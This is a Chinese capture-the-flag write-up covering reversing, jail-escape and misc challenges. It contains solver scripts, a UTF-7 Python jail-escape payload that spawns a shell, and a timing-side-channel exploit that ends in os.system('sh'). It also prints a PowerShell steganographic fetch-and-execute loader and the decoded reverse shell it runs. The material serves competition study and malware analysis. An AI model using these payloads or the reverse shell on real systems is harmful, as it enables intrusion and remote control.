RandomVM

ptrace反调试,第一个绕,第二个绕​
把算法抄出来,暴力​
载入linux,通过ida64远程调试,这个程序开始srand了一下,确定了随机数,然后后面vmhandler全部都是用rand来决定控制流的,我还试了下,好像win下同seed产生的rand还不一样。。​
第二个函数是vm了,进去后每个函数都有一个功能块和一个跳转块
2024-05-30T10:57:34.png
只看功能块,跳转快不看,很快就能看到有syscall,通过查表,0x65是ptrace,刚开始没发现这个可能和反调试有关系,导致第三块数据一直都是0xff,搞了3个小时都不知道哪里错了,在暴力的时候甚至无解。。最后重新细心F8了一遍VM才发现这茬,整个过程好像有3次ptrace,经过测试,第一次把返回值从0xff改成0x0,过反调试,第二三次不要管,如果改会导致程序崩溃(好像是检测?)然后再把((val >> bits) | (val << (8 - bits) )) & 0xff这个函数抄出来,慢慢还原代码即可。
2024-05-30T10:58:09.png
通过逆向工程把生成加密文本的过程用python模拟出来,然后暴力破解​
Exp

ans = [0x9D,0x6B,0xA1,0x02,0xD7,0xED,0x40,0xF6,0x0E,0xAE,0x84,0x19]​
import string​
​
def fun(val, bits):​
        if bits >= 8:​
                return 0​
        return ((val >> bits)  | (val << (8 - bits) )) & 0xff​
​
def getAns(input):​
        context = [0 for i in range(13)]​
        MAGIC = [3, 5, 6, 7, 4, 4, 7, 7, 2, 4, 4, 7]​
        for i in range(12):​
                context[i] ^= input[i]​
                context[i+1] = input[i]​
                #print(i,[hex(j) for j in context ])​
                context[i+1] = fun(context[i+1], MAGIC[i])​
                if i != 1 and i != 2 and i != 5 and i != 7 and i != 8 and i != 9 and i != 10:​
                        context[i+1] ^= MAGIC[i]​
                #print(i,[hex(j) for j in context ])​
​
        for i in range(1, 12):​
                context[i+1] ^= context[i]​
        return context[1:]​
​
a = getAns(("m3owJumpVm1111111111111").encode())​
print([hex(j) for j in a])​
​
ab = 'abcdefghijklmnopqrstuvwxyz0123456789'​
​
for i in range(0,256):​
        a = getAns(("m3owJumpVmvm"+chr(i)+ "11111111111111").encode())​
        if a[9]==ans[9]:​
                print([hex(eee) for eee in a])​
                print(i)​
​
for i in ab:​
        for j in ab:​
                for k in ab:​
                        for w in ab:​
                                a = getAns(("m3ow"+i+j+k+w+ "111111111111").encode())​
                                if a[0]==ans[0] and a[1]==ans[1] and a[2] == ans[2] and a[3]==ans[3]:​
                                        print([hex(eee) for eee in a])​
                                        print(i+j+k+w)​

注意,最底下的是开始手动爆破的,因为发现前三个字符会影响结果list的前几个,而不会扩散到后面,所以直接这么写了,然后找到m3ow后,看倒数第二个,从ascii 0-256手动遍历,然后就出来了。
补一下z3的exp

from z3 import *
ans = [0x9D,0x6B,0xA1,0x02,0xD7,0xED,0x40,0xF6,0x0E,0xAE,0x84,0x19]

sol = Solver()

def fun(v, b):
    r = ((v >> b) | v << (8 - b)) & 0xff
    print(r)
    return r

v = [BitVec(f"v{i}", 8) for i in range(12)]

MAGIC = [3,5,6,7,4,4,7,7,2,4,4,7]

for i in range(12):
    v[i] = fun(v[i], MAGIC[i])
    if not i in [1,2,5,7,8,9,10]:
        v[i] ^= MAGIC[i]
    if i != 11:
        v[i] ^= v[i+1]

for i in range(11):
    v[i+1] ^= v[i]

for i in range(12):
    sol.add(v[i] == ans[i])


print(sol.check())

m = sol.model()
result = [0] * 12

for p in m.decls():
    # print(chr(m[v[i]].as_long()),end='')
    result[int((p.name()[1:]))] = m[p].as_long()

print(list(map(chr, result)))
print("".join(map(chr, result)))
# m3owJumpVmvM

ezJunk

如下是Exp,table是过了反调试的Table,如果没有反调试,程序会在TLS中修改为错误的表,从而无法正确解密。​
sub_401917是魔改TEA的加密函数,sub_401917_d是魔改TEA的解密函数。​
hashxx是在fakeflag之后的验证

0000000000401786 | C745 A0 A9B3DDB6       | mov dword ptr ss:[rbp-60],B6DDB3A9         | !​
000000000040178D | C745 A4 232C1636       | mov dword ptr ss:[rbp-5C],36162C23         |​
0000000000401794 | C745 A8 BFFA8918       | mov dword ptr ss:[rbp-58],1889FABF         |​
000000000040179B | C745 AC 3BE7E46C       | mov dword ptr ss:[rbp-54],6CE4E73B         |​
00000000004017A2 | C745 B0 FCF85A0A       | mov dword ptr ss:[rbp-50],A5AF8FC          |​
00000000004017A9 | C745 B4 1584FF21       | mov dword ptr ss:[rbp-4C],21FF8415         |​
00000000004017B0 | C745 B8 57958544       | mov dword ptr ss:[rbp-48],44859557         |​
00000000004017B7 | C745 BC B727C22D       | mov dword ptr ss:[rbp-44],2DC227B7         |​
00000000004017BE | C745 EC 00000000       | mov dword ptr ss:[rbp-14],0                |​
​
如上,是hash后的对应表,如下程序通过暴力破解了hash。
#include <iostream>​
#include <vector>​
#include <Windows.h>​
using namespace std;​
​
​
unsigned int table[] = { 21588,17922,17527,24158,51,67,84,70,68,94,51,67,84,70,68,94,51,67,84,70,68,94,51,67,84,70,68,94,51,67,84,70,68,94,51,67,84,70,68,94,51,67,84,70,68,94,51,67,84,70,68,94,51,67,84,70,68,94,51,67,84,70,68,94,51,67,84,70,68,94,51,67,84,70,68,94,51,67,84,70,68,94,51,67,84,70,68,94,51,67,84,70,68,94,51,67,84,70,68,94,51,67,84,70 };​
//unsigned int table[] = {21520, 17990, 17476, 24173, 51, 67, 84, 70, 68, 94, 51, 67, 84, 70, 68, 94, 51, 67, 84, 70, 68, 94, 51, 67, 84, 70, 68, 94, 51, 67, 84, 70, 68, 94, 51, 67, 84, 70, 68, 94, 51, 67, 84, 70, 68, 94, 51, 67, 84, 70, 68, 94, 51, 67, 84, 70, 68, 94, 51, 67, 84, 70, 68, 94, 51, 67, 84, 70, 68, 94, 51, 67, 84, 70, 68, 94, 51, 67, 84, 70, 68, 94, 51, 67, 84, 70, 68, 94, 51, 67, 84, 70, 68, 94, 51, 67, 84, 70, 68, 94, 51, 67, 84, 70};​
void __fastcall sub_401917(unsigned int* src, unsigned int sum, int offset)​
{​
        unsigned int v6;​
        unsigned int v7;​
        v7 = *src;​
        v6 = src[1];​
        for (int i = 0; i <= 31; ++i)​
        {​
                v7 += (v6 + ((16 * v6) ^ (v6 >> 5))) ^ (table[sum & 3] + sum) ^ 0x44;​
                v6 += (v7 + ((32 * v7) ^ (v7 >> 6))) ^ (table[(sum >> 11) & 3] + sum) ^ 0x33;​
                sum -= offset;​
        }​
        src[0] = v7;​
        src[1] = v6;​
}​
​
void __fastcall sub_401917_d(unsigned int* src, unsigned int sum, int offset)​
{​
        unsigned int v6;​
        unsigned int v7;​
        v7 = *src;​
        v6 = src[1];​
        sum -= 32 * offset;​
        for (int i = 0; i <= 31; ++i)​
        {​
                sum += offset;​
                v6 -= (v7 + ((32 * v7) ^ (v7 >> 6))) ^ (table[(sum >> 11) & 3] + sum) ^ 0x33;​
                v7 -= (v6 + ((16 * v6) ^ (v6 >> 5))) ^ (table[sum & 3] + sum) ^ 0x44;​
        }​
        src[0] = v7;​
        src[1] = v6;​
}​
​
int hashxx(int src)​
{​
        for (int i = 0; i < 32; i++)​
        {​
                if (src < 0)​
                {​
                        src *= 2;​
                        src ^= 0x84A6972F;​
                }​
                else​
                {​
                        src *= 2; ​
                }​
        }​
​
        return src;​
}​
​
int main()​
{​
        // 0xDD243DAB 0x898587D8​
        //cout << hashxx() << endl;​
​
​
        DWORD flag[] = {​
                0xB6DDB3A9, 0x36162C23, 0x1889FABF, 0x6CE4E73B, 0x0A5AF8FC, 0x21FF8415, 0x44859557, 0x2DC227B7​
        };​
/*​
​
​
        for (size_t i = 0; i <= 0xffffffff; i++)​
        {​
                if (hashxx((int)i) == 0x0A5AF8FC)​
                {​
                        cout << 3 << "|" << hex << i << endl;​
                        break;​
                }​
        }​
​
        for (size_t i = 0; i <= 0xffffffff; i++)​
        {​
                if (hashxx((int)i) == 0x21FF8415)​
                {​
                        cout << 4<< "|" << hex << i << endl;​
                        break;​
                }​
        }​
​
        for (size_t i = 0; i <= 0xffffffff; i++)​
        {​
                if (hashxx((int)i) == 0x44859557)​
                {​
                        cout <<5 << "|" << hex << i << endl;​
                        break;​
                }​
        }​
​
        for (size_t i = 0; i <= 0xffffffff; i++)​
        {​
                if (hashxx((int)i) == 0x2DC227B7)​
                {​
                        cout << 6 << "|" << hex << i << endl;​
                        break;​
                }​
        }​
​
​
*/​
        DWORD ffff[] =​
        {​
                0xDD243DAB,0x898587D8, 0x2fdf1d,0xbc4aca2, 0x4d68a16a, 0x616c5d29, 0x5b911af5, 0x4c7710dc​
        };​
        //char flag[] = { 0xB1,0xCB,0x06,0x54,0xA2,0x1E,0xA4,0xA4,0xC5,0x9A,0x48,0x34,0x97,0x87,0xD6,0x53,0x6F,0xC0,0xE0,0xB8,0xDB,0xF2,0x59,0x02,0x82,0x8D,0xE3,0x52,0x1D,0x5E,0x5D,0x59 };​
        char* v = (char*)malloc(114);​
​
        hashxx(0x0F9FC445);​
​
        strcpy_s(v, 114,"11111111111111111111111111111111111111111111111111111111111111111");​
        sub_401917((unsigned int*)v, 0xE8017300, 0xFF58F981);​
        sub_401917((unsigned int*)v + 2, 0xE8017300, 0xFF58F981);​
        sub_401917((unsigned int*)v + 4, 0xE8017300, 0xFF58F981);​
        sub_401917((unsigned int*)v + 6, 0xE8017300, 0xFF58F981);​
        sub_401917_d((unsigned int*)ffff, 0xE8017300, 0xFF58F981);​
        sub_401917_d((unsigned int*)ffff +2, 0xE8017300, 0xFF58F981);​
        sub_401917_d((unsigned int*)ffff +4, 0xE8017300, 0xFF58F981);​
        sub_401917_d((unsigned int*)ffff +6, 0xE8017300, 0xFF58F981);​
}

补一下z3 exp

from z3 import *

keys = [0xB6DDB3A9, 0x36162C23, 0x1889FABF, 0x6CE4E73B, 0x0A5AF8FC, 0x21FF8415, 0x44859557, 0x2dc227B7]
x = [BitVec(f"x{i}", 32) for i in range(len(keys))]

def hash(v):
    for i in range(32):
        v = If(v < 0 , (v << 1) ^ 0x84A6972F, v << 1)
    return v

s = Solver()

for i in range(len(keys)):
    s.add(hash(x[i]) == keys[i])
s.check()
m = s.model()

result = [0] * len(keys)

for p in m.decls():
    result[int(p.name()[1:])] = m[p].as_long()

print([hex(i) for i in result])

中文编程1

载入x64dbg,注意到一堆浮点运算,果断载入IDA。
2024-05-30T10:42:35.png
由于易语言中的整数操作,全部都是拿浮点数进行的,所以这里直接大胆假设为整数,进行计算。
唯一坑人的地方在于,有一个数字,xxxx.e11,.e11去掉后是错误的,因为少了个0,这个卡了很久。

from z3 import *
s = Solver()

flag_length = 11
v4=[i for i in range(flag_length)]

for i in range(flag_length):
    v4[i] = Real("v{}".format(i))

s.add(v4[0]*52+v4[1]*93+v4[2]*15+v4[3]*72+v4[4]*61+v4[5]*21+v4[6]*83+v4[7]*87+v4[8]*75+v4[9]*75+v4[10]*88==786241466532)
s.add(v4[0]*24+v4[1]*3 +v4[2]*22+v4[3]*53+v4[4]*2 +v4[5]*88+v4[6]*30+v4[7]*38+v4[8]*2 +v4[9]*64+v4[10]*60==376271212978)
s.add(v4[0]*21+v4[1]*33+v4[2]*76+v4[3]*58+v4[4]*22+v4[5]*89+v4[6]*49+v4[7]*91+v4[8]*59+v4[9]*42+v4[10]*92==647642467922)
s.add(v4[0]*60+v4[1]*80+v4[2]*15+v4[3]*62+v4[4]*62+v4[5]*47+v4[6]*62+v4[7]*51+v4[8]*55+v4[9]*64+v4[10]*3==670839740597)
s.add(v4[0]*51+v4[1]*7 +v4[2]*21+v4[3]*73+v4[4]*39+v4[5]*18+v4[6]*4 +v4[7]*89+v4[8]*60+v4[9]*14+v4[10]*9==549200140865)
s.add(v4[0]*90+v4[1]*53+v4[2]*2 +v4[3]*84+v4[4]*92+v4[5]*60+v4[6]*71+v4[7]*44+v4[8]*8 +v4[9]*47+v4[10]*35==664730113280)
s.add(v4[0]*78+v4[1]*81+v4[2]*36+v4[3]*50+v4[4]*4 +v4[5]*2 +v4[6]*6 +v4[7]*54+v4[8]*4 +v4[9]*54+v4[10]*93==476762422687)
s.add(v4[0]*63+v4[1]*18+v4[2]*90+v4[3]*44+v4[4]*34+v4[5]*74+v4[6]*62+v4[7]*14+v4[8]*95+v4[9]*48+v4[10]*15==644352175854)
s.add(v4[0]*72+v4[1]*78+v4[2]*87+v4[3]*62+v4[4]*40+v4[5]*85+v4[6]*80+v4[7]*82+v4[8]*53+v4[9]*24+v4[10]*26==787224288556)
s.add(v4[0]*89+v4[1]*60+v4[2]*41+v4[3]*29+v4[4]*15+v4[5]*45+v4[6]*65+v4[7]*89+v4[8]*71+v4[9]*9 +v4[10]*88==667891172792)
s.add(v4[0]   +v4[1]*8 +v4[2]*88+v4[3]*63+v4[4]*11+v4[5]*81+v4[6]*8 +v4[7]*35+v4[8]*35+v4[9]*33+v4[10]*5==417587420064)


flag = []
if s.check() == sat:
    ans = s.model()
    for i in range(flag_length):   
        flag.append(ans[v4[i]])
else:
    print("unable to solve...")
for x in flag:
    print(x,end=" ")

有11组DWORD,每一组都是flag的ASCII码拼接而成,用z3进行爆破,最后还原就行。

Jvav

先拖入jadx,发现混淆直接给jadx干爆了,然后拖入GDA,发现同样被干爆。最后拖入JByteMod中,发现成功读取,也不需要进行反混淆,效果如图:
2024-05-30T10:43:12.png
然后在Idea里面新建一个项目,手动拷贝(由于部分解密函数有调用栈检测,所以不好扣出来)
2024-05-30T10:43:22.png
进行了一会人工反混淆后,注意flag判断:(var4是用户输入的东西异或51的结果)
if(ALLATORIxDEMO(var4).equals("😉😶😌😕😃😀😃😄😉😂🙂😀🤐😂🤗☹️🤗😐🤗😱😃🤣😀😘😐😄😔😄😃🤣🤨😋🤐😑😌🙂🤗😂😌🤐😃😀🤨😄🤗🤨🙂🤐😉🤩😔😘😐🙂😛😍😤😘😌😚😗🤩😧🤗"));
那么前面的这个ALLATORIxDEMO一定就是关键函数。通过更改输入,发现这个函数对于一个字符的输入可能会引起1-2个emoji的变化。我这里采用了爆破的方法:

static int simi(String a) {
    int sum = 0;
    String re = "😉😶😌😕😃😀😃😄😉😂🙂😀🤐😂🤗☹️🤗😐🤗😱😃🤣😀😘😐😄😔😄😃🤣🤨😋🤐😑😌🙂🤗😂😌🤐😃😀🤨😄🤗🤨🙂🤐😉🤩😔😘😐🙂😛😍😤😘😌😚😗🤩😧🤗";
    for (int i = 0;i < re.length();i++)
    {
        if(re.charAt(i) != a.charAt(i)) continue;
        sum++;
    }
    return sum;
}

这个函数返回加密后的flag和真正加密后flag的相似度(字符匹配,如果相同位置一样则++)
然后通过一个函数进行爆破

public static void test()
{
    var arr = new char[]{'a', 'b', 'c', 'd', 'e', 'f', '-', '0', '1', '2', '3', '4', '5', '6', '7', '8', '9'};
    String flag = "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0";
    StringBuilder strBuilder = new StringBuilder(flag);
    for(int j = 0;j < flag.length();j++)
    {
        char max_char = '0';
        int lastSimi = 0;
        for(int k = 0; k<arr.length;k++)
        {
            strBuilder.setCharAt(j, arr[k]);
            var bf = strBuilder.toString().getBytes();
            for(int i = 0;i < flag.length();i ++) {
                bf[i] = (byte)(bf[i] ^ 51);
            }
            String result = ALLATORIxDEMO(bf);
            int s = simi(result);
            if(s >= lastSimi)
            {
                max_char = arr[k];
                lastSimi = s;
            }
        }
        strBuilder.setCharAt(j, max_char);

        System.out.println(strBuilder.toString());
    }
a                                   
a9                                  
a97                                 
a979                                
a979b                               
a979b9                              
a979b92                             
a979b923                            
a979b923-                           
a979b923-6                          
a979b923-68                         
a979b923-68c                        
a979b923-68c6                       
a979b923-68c6-                      
a979b923-68c6-7                     
a979b923-68c6-7c                    
a979b923-68c6-7c0                   
a979b923-68c6-7c0f                  
a979b923-68c6-7c0f-                 
a979b923-68c6-7c0f-b                
a979b923-68c6-7c0f-b7               
a979b923-68c6-7c0f-b7f              
a979b923-68c6-7c0f-b7f9             
a979b923-68c6-7c0f-b7f9-            
a979b923-68c6-7c0f-b7f9-a           
a979b923-68c6-7c0f-b7f9-a7          
a979b923-68c6-7c0f-b7f9-a7c         
a979b923-68c6-7c0f-b7f9-a7c1        
a979b923-68c6-7c0f-b7f9-a7c14       
a979b923-68c6-7c0f-b7f9-a7c147      
a979b923-68c6-7c0f-b7f9-a7c1476     
a979b923-68c6-7c0f-b7f9-a7c14769    
a979b923-68c6-7c0f-b7f9-a7c14769c   
a979b923-68c6-7c0f-b7f9-a7c14769cb  
a979b923-68c6-7c0f-b7f9-a7c14769cb4 
a979b923-68c6-7c0f-b7f9-a7c14769cb49

输入测试,发现是错的,但是大致雏形已经有了。
然后进行更精细化的爆破

String flag = "a973b923-68bf-430f-b42a-a7a1472b\0\0\0\0";
StringBuilder strBuilder = new StringBuilder(flag);
var arr = new char[]{'a', 'b', 'c', 'd', 'e', 'f', '0', '1', '2', '3', '4', '5', '6', '7', '8', '9'};

for(char a1 : arr)
{
    for(char a2 : arr)
    {
        for(char a3 : arr)
        {
            for(char a4 : arr)
            {
                for(int i = 0;i < arr.length;i++)
                {
                    strBuilder.setCharAt(32, a1);
                    strBuilder.setCharAt(33, a2);
                    strBuilder.setCharAt(34, a3);
                    strBuilder.setCharAt(35, a4);
                    var bf = strBuilder.toString().getBytes();
                    for(int j = 0;j < flag.length();j ++) {
                        bf[j] = (byte)(bf[j] ^ 51);
                    }

                    String result = ALLATORIxDEMO(bf);
                    //System.out.println(result);
                    if(result.startsWith("\uD83D\uDE09\uD83D\uDE36\uD83D\uDE0C\uD83D\uDE15\uD83D\uDE03\uD83D\uDE00\uD83D\uDE03\uD83D\uDE04\uD83D\uDE09\uD83D\uDE02\uD83D\uDE42\uD83D\uDE00\uD83E\uDD10\uD83D\uDE02\uD83E\uDD17☹\uFE0F\uD83E\uDD17\uD83D\uDE10\uD83E\uDD17\uD83D\uDE31\uD83D\uDE03\uD83E\uDD23\uD83D\uDE00\uD83D\uDE18\uD83D\uDE10\uD83D\uDE04\uD83D\uDE14\uD83D\uDE04\uD83D\uDE03\uD83E\uDD23\uD83E\uDD28\uD83D\uDE0B\uD83E\uDD10\uD83D\uDE11\uD83D\uDE0C\uD83D\uDE42\uD83E\uDD17\uD83D\uDE02\uD83D\uDE0C\uD83E\uDD10\uD83D\uDE03\uD83D\uDE00\uD83E\uDD28\uD83D\uDE04\uD83E\uDD17\uD83E\uDD28\uD83D\uDE42\uD83E\uDD10\uD83D\uDE09\uD83E\uDD29\uD83D\uDE14\uD83D\uDE18\uD83D\uDE10\uD83D\uDE42\uD83D\uDE1B\uD83D\uDE0D\uD83D\uDE24\uD83D\uDE18\uD83D\uDE0C\uD83D\uDE1A\uD83D\uDE17\uD83E\uDD29\uD83D\uDE27\uD83E\uDD17"))
                    {
                      System.out.println(strBuilder.toString());
                    }

                }
            }
        }
    }
}

通过手动修改,每四个进行爆破,逐个敲出(时间复杂度$O(n^4)$),最后得到了flag:
flag{a973b923-68bf-430f-b42a-a7a1472bcb49}(本题用时2小时)
比赛结束后听别人说,这是base64改的,直接爆了。

ezVM

拖入x64dbg和IDA进行对比,注意到有upx壳,所以直接upx -d,然后继续进行分析。拖入IDA后,发现
2024-05-30T10:44:19.png
但是其实F5后,VM的架构已经很清晰了。我们只需要拿到vm字节码,然后进行自动化或者手动分析即可。

经过一段时间的F8单步跑后,注意到vm中许多指令并没有用,switch中直接走了default路径;但是这对我们的静态分析是比较困难的。我们其实可以直接从gets_s开始分析。
方法一、由于动态调试x64dbg的方便性,我们可以采用对输入的东西进行内存软件/硬件断点,然后逐个追踪并分析,逐字节拿到flag,而且我们也知道flag长度是44,且格式为flag{.?},这个方法虽然很慢,但是能保证做出来。
2024-05-30T10:44:34.png
方法二、静态对字节码进行分析,注意到

      case 50u:
        v7 = byte_140004040[v4];
        v5 = (unsigned int)(v5 - 1);
        dword_14001FF94 = v5;
        LODWORD(v4) = v4 + 1;
        byte_14002058F[v5 + 1] = v7;
        continue;

实际上是从字节码下一位拿到一个值,并把它推入vStack上,我们记作vmLdImm8

    case 184u:
        byte_14002058F[v5 + 1] = *(_BYTE *)(byte_14002058F[v5 + 1] + *(_QWORD *)&byte_14002058F[v5 + 2]);
        continue;

这个是从栈上拿到一个值(offset)和一个指针ptr,进行寻址并push到栈上
这两个其实完成了从某个地址拿数据的操作。注意到vm里面其实一直在进行这样的操作,且input handler会push buffer的地址

   case 123u:
        v14 = (char)byte_14002058F[v5 + 1];
        v15 = (unsigned int)(v5 - 7);
        dword_14001FF94 = v15;
        *(_QWORD *)&byte_14002058F[v15 + 1] = Buffer;
        gets_s(Buffer, v14);
        goto LABEL_2;

如此以来,对于VM的数据读入,我们就可以对其字节码进行正则匹配或者是python中自动处理,而且我们无需管垃圾指令。数据拿到以后,我们需要继续分析VM。发现VM其实是在对数据进行xor操作并在最后判断是否为0,而且每个xor指令中都没有掺入垃圾指令,这在VM的字节码中重复率很高,非常显眼,而且没组相同数据之前都有一个vmLdImm8, imm的形式,记录下来每一个立即数,在最后即可还原flag。
不过在还原xor的时候,还需要用到一些万用门的知识(实际上可以才出来是xor)

万用门实现逻辑指令
理论知识:

vmp里面只有1个逻辑运算指令 not_not_and 设这条指令为P

P(a,b) = ~a & ~b

这条指令的神奇之处就是能模拟 not and or xor 4条常规的逻辑运算指令

怕忘记了,直接给出公式,后面的数字指需要几次P运算

not(a) = P(a,a) 1

and(a,b) = P(P(a,a),P(b,b)) 3

or(a,b) = P(P(a,b),P(a,b)) 2

xor(a,b) = P(P(P(a,a),P(b,b)),P(a,b)) 5
————————————————
版权声明:本文为CSDN博主「鱼无伦次」的原创文章,遵循CC 4.0 BY-SA版权协议,转载请附上原文出处链接及本声明。
原文链接:https://blog.csdn.net/u014738665/article/details/120722455
 // VM部分字节码
 VmgetInput
..trash
 vmLdImm8, 输入字符的索引,
 vLoadMemoryImm8,
 vmLdImm8, Imm
 vm_xor
 ..trash
  vmLdImm8, Imm
 vm_xor
 ..trash
  vmLdImm8, Imm
 vm_xor
 ....
 重复很多次

最后得到Flag:
flag{O1SC_VM_1s_h4rd_to_r3v3rs3_#a78abffaa#}

Jump For Signin

下载后打开游戏跳一下就能看到二维码,截图扫码就行
2024-05-30T11:41:09.png

Jump For Flag

下载后,注意到 UnityPlayer.dll,判断该游戏是 Unity 引擎,由于 Unity 是C#实现的,只有 C#和il2cpp两种,观察到JumpForFlag_DataManagedAssembly-CSharp.dll是有代码的,故排除il2cpp,直接载入dnSpy中进行分析。由于第一题的提示,并且游戏中,每跳跃一次都会有黑白块掉下,所以猜测是二维码,故找到PlayerMovement,注意到里面调用了cubes_all这个全局变量,且该变量的内容是:

public int[][] cubes_all = new int[][]
{
        new int[]
        {
            0xD,
            0x64,
            3,
            1
        },
        new int[]
        {
            2,
            0x64,
            4,
            1
        },
        ...
}

容易观察到,每一个元素都带x,y,z和一个颜色(1是白色,0是黑色),但是在生成的时候,是从许多cube中随机挑选出几个,并且加了初始力,所以无论在游戏中怎么进行跳跃都无法得到真正的二维码。

gameObject.GetComponent<Rigidbody>().AddForce(new Vector3(Random.Range(-10f, 10f), 0f, Random.Range(-10f, 10f)), ForceMode.Impulse);

所以我们直接开写代码(cubes_all没有在代码里面注明,因为太长了)

using System.Drawing;
// 创建一个画布
Bitmap image = new Bitmap(100, 100); // 设定画布大小

// 设置画布背景色为白色
using (Graphics g = Graphics.FromImage(image))
{
    g.Clear(Color.White);
}

// 遍历坐标数组,在画布上绘制点
using (Graphics g = Graphics.FromImage(image))
{
    foreach (var cube in cubes_all)
    {
       int x = cube[0]; // x 坐标
       int y = cube[2]; // y 坐标(你说不需要使用到)
       // 如果需要使用 z 坐标,可以在这里使用 cube[2] 和 cube[3]

       // 在指定坐标上绘制点
       Color color = cube[3] == 1 ? Color.White : Color.Black;
       using (Brush brush = new SolidBrush(color))
       {
          g.FillRectangle(brush, x, y, 1, 1);
       }
    }
}

// 保存图片
image.Save("output.png", System.Drawing.Imaging.ImageFormat.Png);

得到答案,扫码后即可获得Flag
2024-05-30T11:41:55.png

ezjail

#coding=utf7+AAoAXwBfAGkAbQBwAG8AcgB0AF8AXwAoACIAbwBzACIAKQAuAHMAeQBzAHQAZQBtACgAIgBzAGgAIgAp

randommaker

拿到server.py后,注意到

def check2(ori, new):
    time1 = time.time()
    diff = 0
    for i in range(len(ori)):
        if (ori[i] != new[i]):
            diff += 1
            for _ in range(10000):  # Just for a most strict randommaker checker :p
                if (new[i] not in ori):
                    print("error in randommaker!!!")
                    exit()
    timeuse = time.time() - time1
    print(
        f"After {timeuse} of inspection, there were no issues with the randommaker")

意思是,如果random.shuffle()后的每一位不对应,就重复10000次,导致程序时间变多,从而导致可以进行测信道攻击。
解决方案:
因为要爆破服务端的seed,首先我在连接的时候记录了本机电脑的时间(精确到秒),然后输入了很多组1111111111111111111111111111111111111111112,这样可以保证如果出现了2在shuffle后,位置不变,就会导致时间激增,导致可以对seed进行爆破。
然后我写了个函数,用于计算“shuffle前的值”,意思就是,在同一个seed下,如果A列表shuffle一次到了B,这个函数可以生成C列表,使得C列表可以shuffle一次后到A,相当于是shuffle的逆,该函数:

def getUnShuffledStr(payload):
    raw = list(payload)
    ordered_list = list(range(len(raw)))
    # 要在函数外面保证random.seed为你想要的值
    random.shuffle(ordered_list)
    new_list = [i for i in range(len(raw))]
    for i in range(len(raw)):
        new_list[ordered_list[i]] = raw[i]
    return "".join(new_list)

有了这个函数,我们就可以进行爆破,并且在爆破到正确的seed后,可以直接通过这个函数拿到payload,从而getshell。
下面是爆破主函数:

def crack():
    a = 0
    desired_time = datetime.now().replace(hour=13, minute=7, second=40, microsecond=0)
    while True:
        seed = int(desired_time.timestamp() * 1000) + a
        random.seed(seed)
        flg = False
        # 刚开始时候写的是 a+=1,但是发现不存在这样的a,故改成了减号
        # 最后发现a = -1300多一点,也就是服务器时间比本机时间慢1.3秒
        a -= 1

        # 这里是因为索引76和索引121出了问题,就是
        # 这两次2的位置没有变
        wenti = [76, 121]
        for i in range(123):
            payload = list("1111111111111111111111111111111111111111112")
            random.shuffle(payload)
            if i in wenti:
                if payload[-1] != "2":
                    flg = True
                    break
            else:
                if payload[-1] == "2":
                    flg = True
                    break
        if flg:
            print(f"{a}")
            continue

        print(f"{a} is right!")
        print(getUnShuffledStr("__import__('os').system('sh')"))
        break

最后,通过ls和cat flag_xxxx 得到真正的flag。

NCTF2077

下载到文件后,发现里面还可以下载到一个.exe文件,注意到是C#的程序,所以拖入dnspy后进行查看,发现了资源中存在着的

$flag = "-873e-12a9595bbce8}";
sal a New-Object; Add-Type -A System.Drawing; $g = a System.Drawing.Bitmap((a Net.WebClient).OpenRead("https://zysgmzb.club/hello/nctf.png")); $o = a Byte[] 31720; (0..12) | % { foreach ($x in(0..2439)) { $p = $g.GetPixel($x, $_); $o[$_ * 2440 + $x] = ([math]::Floor(($p.B-band15) * 16)-bor($p.G -band 15)) } }; IEX([System.Text.Encoding]::ASCII.GetString($o[0..31558]))

我们可以很轻松的拿到flag的后半部分,但是前半部分就得继续看了。
首先,我们可以看到这是一个powershell的脚本,然后在网上搜索可知,这个脚本是把一段隐写到png中的恶意代码读取并进行运行,然后我们可以直接打印出来他读取的代码。注意到%在ps脚本里面是运行的意思,我们可以直接输出它运行的东西。进一步得到

&((GV '*mdR*').NaMe[3,11,2]-JoIN'') ( NEw-ObjeCt  sySTeM.iO.sTReamreadEr( ( NEw-ObjeCt  Io.cOMPrEssIoN.DEflATeSTREaM([sYsTEM.iO.MemoRYsTReaM][cOnVert]::frOMbAsE64StRinG('一段很长很长的字符') ,[Io.cOMpReSsiON.cOMPreSsIonMoDe]::dEcOmprESs )) , [tEXT.EncoDING]::aScII) ).reADTOeNd() 

发现&在powershell中也是运行的意思,继续解码后面的可以得到:

$result =  ( '一段很长的文本'.sPLIt( '<r_l:{&Z' ) | %{ ([cOnVErt]::toInt16( ([strING]$_ ) , 16 )-aS[cHAr])} ) -JOIN '' | & ( $EnV:COmspEc[4,15,25]-jOIN'')

注意到%,继续解码

(([rUNtiME.INTERoPsERvIceS.MaRshal]::PTRtOstrinGBsTr([runtIme.INTeRopSeRviCES.mARShAl]::seCUResTrInGTObsTR( $('又是一段很长的文本' | conVeRtto-SEcurEsTrIng -key  (143..112)) ) ) ) ) 

继续,最后得到

$socket = new-object System.Net.Sockets.TcpClient('192.168.207.1', 2333);
if ($socket -eq $null) { exit 1 }
$stream = $socket.GetStream();
$writer = new-object System.IO.StreamWriter($stream);
$buffer = new-object System.Byte[] 1024;
$encoding = new-object System.Text.AsciiEncoding;
$ffllaagg = "NCTF{5945cf0b-fdd6-4b7b";
do {
    $writer.Flush();
    $read = $null;
    $res = ""
    while ($stream.DataAvailable -or $read -eq $null) {
        $read = $stream.Read($buffer, 0, 1024)
    }
    $out = $encoding.GetString($buffer, 0, $read).Replace("`r`n", "").Replace("`n", "");
    if (!$out.equals("exit")) {
        $args = "";
        if ($out.IndexOf(' ') -gt -1) {
            $args = $out.substring($out.IndexOf(' ') + 1);
            $out = $out.substring(0, $out.IndexOf(' '));
            if ($args.split(' ').length -gt 1) {
                $pinfo = New-Object System.Diagnostics.ProcessStartInfo
                $pinfo.FileName = "cmd.exe"
                $pinfo.RedirectStandardError = $true
                $pinfo.RedirectStandardOutput = $true
                $pinfo.UseShellExecute = $false
                $pinfo.Arguments = "/c $out $args"
                $p = New-Object System.Diagnostics.Process
                $p.StartInfo = $pinfo
                $p.Start() | Out-Null
                $p.WaitForExit()
                $stdout = $p.StandardOutput.ReadToEnd()
                $stderr = $p.StandardError.ReadToEnd()
                if ($p.ExitCode -ne 0) {
                    $res = $stderr
                }
                else {
                    $res = $stdout
                }
            }
            else {
                $res = (&"$out" "$args") | out-string;
            }
        }
        else {
            $res = (&"$out") | out-string;
        }
        if ($res -ne $null) {
            $writer.WriteLine($res)
        }
    }
}While (!$out.equals("exit"))
